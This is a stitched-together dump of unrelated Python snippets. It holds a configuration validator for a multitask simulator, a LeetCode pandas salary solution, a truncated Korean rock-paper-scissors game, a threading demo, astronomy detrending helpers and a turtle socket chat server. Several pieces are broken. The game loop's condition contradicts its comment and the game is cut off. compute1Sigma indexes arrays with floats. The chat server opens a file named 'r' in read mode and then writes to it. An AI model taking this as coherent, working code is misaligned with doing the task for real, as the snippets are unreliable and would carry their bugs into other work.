    return (lambda **kwargs : {k:get_option(k, group, _options=_options)(**{k:v}) for k,v in next(iter(kwargs.values())).items()})

class Option:

    def __init__(self, group, fun):
        self.group =  group
        self.__fun = fun

    def __call__(self, **kwargs):
        return self.__fun(**kwargs)

# CONFIG OPTIONS ARE ALL DEFINED IN THE DICTIONARY BELOW - EACH SHOULD BE VALIDATED

target_options = dict(
    schedule           = Option('target', validate_schedule),           # event schedule. Target drift, each event moves the target by `step` amount.
    step               = Option('target', is_type(int, float)),         # distance (pixels) the Target moves on each event
    invert             = Option('target', is_type(bool))                # invert controls for tracking
)

warninglight_options = dict(
    schedule            = Option('warning_light', validate_schedule),   # event schedule. Each event switches the light to the undesired state (off for WarningLight:0 and on for WarningLight:1)
    grace               = Option('warning_light', is_type(int, float)), # grace period (the time after which the light may turn on/off after a user has clicked)
    key                 = Option('warning_light', is_type(str)),        # key-binding shortcut, may be used instead of clicking
    state               = Option('warning_light', is_type(int)),        # initial state (on or off)
    on_colour           = Option('warning_light', is_type(str)),        # cosmetic, colour of the on state
    off_colour          = Option('warning_light', is_type(str)),        # cosmetic, colour of the off state
    outline_colour      = Option('warning_light', is_type(str)),        # cosmetic, colour of the outline
    outline_thickness   = Option('warning_light', is_type(int))         # cosmetic, thickness of the outline
)

scale_options = dict(
    schedule            = Option('scale', validate_schedule),           # event schedule. Each events moves the slider up/down 1 place.
    key                 = Option('scale', is_type(str)),                # key-binding shortcut, may be used instead of clicking
    size                = Option('scale', is_type(int)),                # size of the scale (number of positions that the slider may be in)
    position            = Option('scale', is_type(int)),                # initial position of the slider
    background_colour   = Option('scale', is_type(str)),                # cosmetic, background colour of the scale
    outline_colour      = Option('scale', is_type(str)),                # cosmetic, outline colour of the scale (and slider)
    outline_thickness   = Option('scale', is_type(int)),                # cosmetic, outline thickness of the scale (and slider)
    slider_colour       = Option('scale', is_type(str))                 # cosmetic, colour of the slider
)

pump_options = dict(
    schedule            = Option('pump', validate_schedule),            # event schedule. Each event causes the pump to fail/repair (repeating every two events).
    flow_rate           = Option('pump', is_type(int)),                 # transfer rate of fuel from one tank to another (units/second)
    event_rate          = Option('pump', is_type(int)),                 # number of events to trigger /second
    scale               = Option('pump', is_type(float))                # cosmetic, the display scale of the pump
)

tank_options = dict(
    burn_rate           = Option('tank', is_type(int, float)),          # rate at which fuel is burnt units/second
    accept_position     = Option('tank', is_type(int, float)),          # position of the acceptable level of fuel (for a main tank)
    accept_proportion   = Option('tank', is_type(int, float)),          # proportion of acceptability of fuel (for a main tank), fuel levels within the range: position +- proportion are acceptable.
    capacity            = Option('tank', is_type(int, float)),          # capacity of the tank
    fuel                = Option('tank', is_type(int, float)),          # initial fuel level

    fuel_colour         = Option('tank', is_type(str)),                 # cosmetic, colour of the fuel
    background_colour   = Option('tank', is_type(str)),                 # cosmetic, background colour of the tank
    outline_colour      = Option('tank', is_type(str)),                 # cosmetic, outline colour of the tank
    outline_thickness   = Option('tank', is_type(int)),                 # cosmetic, outline thickness of the tank
)

eyetracker_options = dict(
    enabled             = Option('eyetracker', is_type(bool)),          # enable eye tracking (requires a device to be connected)
    calibrate           = Option('eyetracker', is_type(bool)),          # calibrate the eye-tracker
    sample_rate         = Option('eyetracker', is_type(int)),           # sample rate for the eye-tracker (if configurable on the device)
    stub                = Option('eyetracker', is_type(bool)),          # use the mouse as a stub for an eye tracking device, functions exactly as an eyetracker (useful for testing)
)

options = dict(

            main            = Option('-', validate_options('main')),

            Pump            = Option('main', validate_options('pump', _options=pump_options)),
            Target          = Option('main', validate_options('target', _options=target_options)),
            WarningLight    = Option('main', validate_options('warning_light', _options=warninglight_options)),
            Scale           = Option('main', validate_options('scale', _options=scale_options)),
            FuelTank        = Option('main', validate_options('tank', _options=tank_options)),

            screen_width    = Option('main', is_type(int, float)),      # window width
            screen_height   = Option('main', is_type(int, float)),      # window height
            screen_size     = Option('main', is_coord()),               # window size
            screen_x        = Option('main', is_type(int, float)),      # window x position
            screen_y        = Option('main', is_type(int, float)),      # window y position
            screen_position = Option('main', is_coord()),               # window position

            screen_full            = Option('main', is_type(bool)),     # window full screen ?
            screen_resizable       = Option('main', is_type(bool)),     # window resizable ?
            screen_aspect          = Option('main', is_coord()),        # window aspect ratio
            screen_min_size        = Option('main', is_coord()),        # minimum window size
            screen_max_size        = Option('main', is_coord()),        # maximum window size
            background_colour      = Option('main', is_type(str)),      #cosmetic, window background colour

            task            = Option('main', validate_options('task')),
            system          = Option('task', is_type(bool)),            # enable/disable tracking task
            track           = Option('task', is_type(bool)),            # enable/disable system task
            fuel            = Option('task', is_type(bool)),            # enable/disable fuel task

            input           = Option('main',  validate_options('input')),
            mouse           = Option('input', is_type(bool)),               # enable/disable mouse input
            keyboard        = Option('input', is_type(bool)),               # enable/disable keyboard input
            joystick        = Option('input', is_type(bool)),               # enable/disable joystick input

            eyetracker      = Option('input', validate_options('eyetracker', _options=eyetracker_options)),

            shutdown          = Option('main', is_type(int, float)),        # time after which to stop the system (-1 to never stop)

            overlay             = Option('main',    validate_options('overlay')),
            enable              = Option('overlay', is_type(bool)),         # enable/disable overlay (highlighting, arrows etc)
            arrow               = Option('overlay', is_type(bool)),         # enable/disable arrows
            transparent         = Option('overlay', is_type(bool)),         # transparent highlights ?
            outline             = Option('overlay', is_type(bool)),         # outlined highlights ?
            highlight_thickness = Option('overlay', is_type(int)),          # cosmetic, highlight outline thickness
            highlight_colour    = Option('overlay', is_type(str)),          # cosmetic, highlight colour
    )

import collections.abc

def update(d, u): #recursive dictionary update
    for k, v in u.items():
        if isinstance(v, collections.abc.Mapping):
            d[k] = update(d.get(k, {}), v)
        else:
            d[k] = v
    return d

class Validator:

    def __call__(self, **kwargs):

        config =  validate_options('main')(**{'main':kwargs})

        # ====== POST PROCESSING ====== #
        #TOOD move this somewhere more suitable
        result = default_config()

        result = update(result, config)

        result['screen_size'] = (result.get('screen_width', result['screen_size'][0]), result.get('screen_height', result['screen_size'][1]))
        result['screen_position'] = (result.get('screen_x', result['screen_position'][0]), result.get('screen_y', result['screen_position'][1]))
        result['screen_width'], result['screen_height'] = result['screen_size']
        result['screen_x'], result['screen_y'] = result['screen_position']
        return result

validate = Validator()

def save(path, **kwargs):
    """ Save config to a file.

    Args:
        path (str): path to config file (config file is always called 'config.json')
    """
    if not path.endswith('config.json'):
        path = os.path.join(path, 'config.json')
    if not os.path.exists(path):
        raise FileNotFoundError("Could not find config file at location: {0}".format(path))
    with open(path, 'w') as f:
        # maybe validate here?
        json.dump(kwargs, f, indent=4, sort_keys=True)

def load(path):
    """ Load a config file.

    Args:
        path (str): path to config file

    Returns:
        dict: a dictionary containing loaded config
    """
    path = os.path.abspath(path)
    if not path.endswith('config.json'):
        path = os.path.join(path, 'config.json')
    if not os.path.exists(path):
        raise FileNotFoundError("Could not find config file at location: {0}".format(path))

    LOGGER.debug("USING CONFIG FILE: {0}".format(path))

    with open(path, 'r') as f:
        data = json.load(f)
        result = validate(**data)
        return result

def reset(path):
    """ Reset config file to default values.

    Args:
        path (str): path to config file
    """
    if not path.endswith('config.json'):
        path = os.path.join(path, 'config.json')
    if not os.path.exists(path):
        raise FileNotFoundError("Could not find config file at location: {0}".format(path))
    with open(path, 'w') as f:
        raise NotImplementedError() # TODO?
        #json.dump(kwargs, f, indent=4, sort_keys=True)

if __name__ == "__main__":

    def run():
        path = 'icu/'
        save(path, **default_config())
        config = load(path)

        for k,v in config.items():
            print(k, v, type(v))
    run()


"""
https://leetcode.com/problems/department-highest-salary/description/?envType=study-plan-v2&envId=30-days-of-pandas&lang=pythondata

Create table If Not Exists Employee (id int, name varchar(255), salary int, departmentId int)
Create table If Not Exists Department (id int, name varchar(255))
Truncate table Employee
insert into Employee (id, name, salary, departmentId) values ('1', 'Joe', '70000', '1')
insert into Employee (id, name, salary, departmentId) values ('2', 'Jim', '90000', '1')
insert into Employee (id, name, salary, departmentId) values ('3', 'Henry', '80000', '2')
insert into Employee (id, name, salary, departmentId) values ('4', 'Sam', '60000', '2')
insert into Employee (id, name, salary, departmentId) values ('5', 'Max', '90000', '1')
Truncate table Department
insert into Department (id, name) values ('1', 'IT')
insert into Department (id, name) values ('2', 'Sales')

data = [[1, 'Joe', 70000, 1], [2, 'Jim', 90000, 1], [3, 'Henry', 80000, 2], [4, 'Sam', 60000, 2], [5, 'Max', 90000, 1]]
Employee = pd.DataFrame(data, columns=['id', 'name', 'salary', 'departmentId']).astype({'id':'Int64', 'name':'object', 'salary':'Int64', 'departmentId':'Int64'})
data = [[1, 'IT'], [2, 'Sales']]
Department = pd.DataFrame(data, columns=['id', 'name']).astype({'id':'Int64', 'name':'object'})

Table: Employee

+--------------+---------+
| Column Name  | Type    |
+--------------+---------+
| id           | int     |
| name         | varchar |
| salary       | int     |
| departmentId | int     |
+--------------+---------+
id is the primary key (column with unique values) for this table.
departmentId is a foreign key (reference columns) of the ID from the Department table.
Each row of this table indicates the ID, name, and salary of an employee. It also contains the ID of their department.

Table: Department

+-------------+---------+
| Column Name | Type    |
+-------------+---------+
| id          | int     |
| name        | varchar |
+-------------+---------+
id is the primary key (column with unique values) for this table. It is guaranteed that department name is not NULL.
Each row of this table indicates the ID of a department and its name.

Write a solution to find employees who have the highest salary in each of the departments.

Return the result table in any order.

The result format is in the following example.

Example 1:

Input:
Employee table:
+----+-------+--------+--------------+
| id | name  | salary | departmentId |
+----+-------+--------+--------------+
| 1  | Joe   | 70000  | 1            |
| 2  | Jim   | 90000  | 1            |
| 3  | Henry | 80000  | 2            |
| 4  | Sam   | 60000  | 2            |
| 5  | Max   | 90000  | 1            |
+----+-------+--------+--------------+
Department table:
+----+-------+
| id | name  |
+----+-------+
| 1  | IT    |
| 2  | Sales |
+----+-------+
Output:
+------------+----------+--------+
| Department | Employee | Salary |
+------------+----------+--------+
| IT         | Jim      | 90000  |
| Sales      | Henry    | 80000  |
| IT         | Max      | 90000  |
+------------+----------+--------+
Explanation: Max and Jim both have the highest salary in the IT department and Henry has the highest salary in the Sales department.
"""

import pandas as pd

# def department_highest_salary(employee: pd.DataFrame, department: pd.DataFrame) -> pd.DataFrame:
#     highest_salaries = employee.groupby(by='departmentId')[['departmentId', 'salary']].max()
#     return employee

# Runtime
# Details
# 697ms
# Beats 5.04%of users with Pandas
# Memory
# Details
# 63.02MB
# Beats 13.68%of users with Pandas
# https://leetcode.com/problems/department-highest-salary/solutions/3861495/pandas-very-simple-step-by-step-process-detailed/?envType=study-plan-v2&envId=30-days-of-pandas&lang=pythondata
def department_highest_salary(employee: pd.DataFrame, department: pd.DataFrame) -> pd.DataFrame:
    if employee.empty or department.empty:
        return pd.DataFrame(columns=['Department', 'Employee', 'Salary'])
    merged = employee.merge(department, left_on='departmentId', right_on='id', suffixes=('_employee', '_department'))
    highest_salary = merged.groupby('departmentId').apply(lambda x: x[x['salary'] == x['salary'].max()])
    highest_salary = highest_salary.reset_index(drop=True)
    result = highest_salary[['name_department', 'name_employee', 'salary']]
    result.columns = ['Department', 'Employee', 'Salary']
    return result

data = [[1, 'Joe', 70000, 1], [2, 'Jim', 90000, 1], [3, 'Henry', 80000, 2], [4, 'Sam', 60000, 2], [5, 'Max', 90000, 1]]
Employee = pd.DataFrame(data, columns=['id', 'name', 'salary', 'departmentId']).astype({'id':'Int64', 'name':'object', 'salary':'Int64', 'departmentId':'Int64'})
data = [[1, 'IT'], [2, 'Sales']]
Department = pd.DataFrame(data, columns=['id', 'name']).astype({'id':'Int64', 'name':'object'})

print(department_highest_salary(Employee, Department))


## 가위,바위,보 게임
## 모두 3번을 지거나 3번을 이기면 게임은 최종 스코어를 보여주며 종료

import random

kind = ["가위", "바위", "보"]

your_score = 0
com_score = 0

while your_score != 3 or com_score != 3:
    a = input("가위, 바위, 보 중 고르세요 : ")
    com = random.choice(kind)
    if a == "가위" and com == "가위":
        print("비겼습니다")


import time
import threading
import math

def circle_area(r):
    time.sleep(10)
    print(math.pi * r**2)
    return math.pi * r**2

if __name__ == '__main__':
    print('Main thread started')
    radius = float(input('Enter the radius: '))
    thread = threading.Thread(target=circle_area, args=[radius])
    print('Main waiting for thread to finish the area calculation')
    thread.start()
    thread.join()
    print('Main ended')


import numpy as num
import pylab
from scipy.interpolate import interp1d
import scipy
"contains functions"

def getNumBool(List,bool):
    """
    Returns the total number of booleans in a list
    bool should be True or False

    e.g.
    print len(getNumBool(List,True)), will list the number
    of elements which are True in List.
    """

    List = num.array(List)
    id0 = num.where(List == bool)[0]
    #print len(id0)
    return len(id0)

def makeDTwindows(nsize,window):
    """ Given a portion length (nsize) and window size (window),
        this function creates appropriate indicies
        used to sclice windows for detrending.
    """

    # two sets of slices for the cos**2 and sin**2 weights
    set1 = num.arange(0,nsize,window)
    set2 = num.arange(0+window/2,nsize,window)
    set2 = num.hstack( (0,set2) )

    outwin = {}
    #diff, computes excess points near the edge of a portion
    diff1 = nsize - set1[-1]
    diff2 = nsize - set2[-1]
    if diff1 < window/2:
        set1[-1] = set1[-1]+diff1	#adding excess points to index
    else:
        set1 = num.hstack((set1,nsize)) #stacking slice index pairs
    if diff2 < window/2:
        set2[-1] = set2[-1]+diff2	#adding excess points to index
    else:
        set2 = num.hstack((set2,nsize)) #stacking slice index pairs

    # for the special case when only 1 portion needs to be fit
    if len(set1) == 1:
        set1 = num.hstack((0,set1))
    if len(set2) == 1:
        set2 = num.hstack((0,set2))

    # make pairs of the slicing indices for easier use
    outSet1 = makeRangePairs(set1)
    outSet2 = makeRangePairs(set2)
    idict = {1:outSet1,2:outSet2}

    return idict

def makeRangePairs(indexList):
    """
    Given a list of indicies make a list of pairs
    using sequential indicies.
    """

    set = []
    for i in range(len(indexList)-1):
        set.append([indexList[i],indexList[i+1]])

    return set

def movingMedian(data,window):
    """
    Returns the median smoothed version of given data.
    data is the data (usually time series)
    window is the size of the window used for smoothing
    """

    mvavg = []
    npoints = len(data)
    for i in range(npoints-1):
        j1  = max(0,i-window)
        j2 = min(i+window,npoints-1)
        mvavg.append(num.median(data[j1:j2]))

    return num.array(mvavg)

def compute1Sigma(data):
    """
    return 1-sigma
    """

    dsort = num.sort(data)
    npts = len(dsort)
    sigma = (dsort[.8415*npts]-dsort[.1585*npts])/2
    return sigma

def foldPhase(xdata,t0,period):
    """ enter duration dur in hours and t0 is center time of transit"""

    t0 = t0 + 2454900e0
    phase = (xdata-t0)/period - (xdata-t0)//period

    #pylab.plot(phase,data['ydt'],'b.')
    #pylab.show()

    return phase

def interpMaskedAreas(x, dtfunc):
    idx = num.where(dtfunc == -1)[0]
    # find consecutive points of dtfunc set at -1
    diffs = idx - num.roll(idx, 1)
    setIdx1 = num.where(diffs > 1)[0]
    setIdx2 = num.where(diffs > 1)[0] - 1
    setIdx1 = num.hstack( (num.array([0]), setIdx1) )
    setIdx2 = num.hstack( (setIdx2, num.array([-1])) )
    # each int in setIdx1 is beginning of a set of points
    # each int in setIdx2 is end of a set of points
    for i in range(len(setIdx1)):
        i1 = setIdx1[i]
        i2 = setIdx2[i]
        vals_to_interp = dtfunc[ idx[i1]:idx[i2]+1]

        # construct interpolation from points on either side of vals
        # first ydata
        nVals = len(vals_to_interp)
        left = num.array( \
            [ dtfunc[idx[i1]-1-nVals], dtfunc[idx[i1]-1] ])
        right = num.array( \
            [ dtfunc[idx[i2]+1], dtfunc[idx[i2]+1+nVals] ])
        vals_to_construct_interp = num.hstack( (left, right) )
        vtci = vals_to_construct_interp

        # now xdata
        leftx = num.array([ x[idx[i1]-1-nVals], x[idx[i1]-1] ])
        rightx = num.array([ x[idx[i2]+1], x[idx[i2]+1+nVals] ])
        x_vtci = num.hstack( (leftx, rightx) )
        # conduct interpolation
        intpCoeffs = scipy.polyfit(x_vtci, vtci, 3)
        dtfunc[ idx[i1]:idx[i2]+1 ] = \
            scipy.polyval(intpCoeffs, x[ idx[i1]:idx[i2]+1 ])

    return dtfunc

def autoCor(x):
    """ autocorrelates using fast fourier transform"""

    fft = num.fft.fft(x)
    crf = num.real(num.fft.ifft(fft*num.conjugate(fft)))/num.var(x)
    return crf


import socket
from turtle import *
sty=('arial',30,'normal')
ht()
us=[]
ous=[]
a=textinput('username','Enter your group name')
us.append(a)
b=0
d=0
c=0
v=[]
p=0
file=open('r')
file.write('hi')
for i in range(len(a)):
    ous.append(ord(us[0][b]))
    b=b+1
    p=p+ous[d]
    d=d+1
def server_program():
    global sty
    host = '192.168.110.28' ##servers IP##
    port =p
    penup()
    goto(-185,285)
    write(port,font=sty,align='center')

    server_socket = socket.socket()
    server_socket.bind((host, port))

    server_socket.listen(2)
    conn, address = server_socket.accept()
    print("Connection from: " + str(address))
    while True:
        goto(-185,285)
        write(port,font=sty,align='center')
        data = conn.recv(1024).decode()
        if not data:
            goto(-185,285)
            write(port,font=sty,align='center')
            data =  conn.send(data.encode())
        else:
            reset()
            ht()
            penup()
            goto(-185,285)
            write(a,font=sty,align='center')
            goto(0,0)
            write("client:  " + str(data),font=sty,align='center')

    conn.close()

if __name__ == '__main__':
    server_program()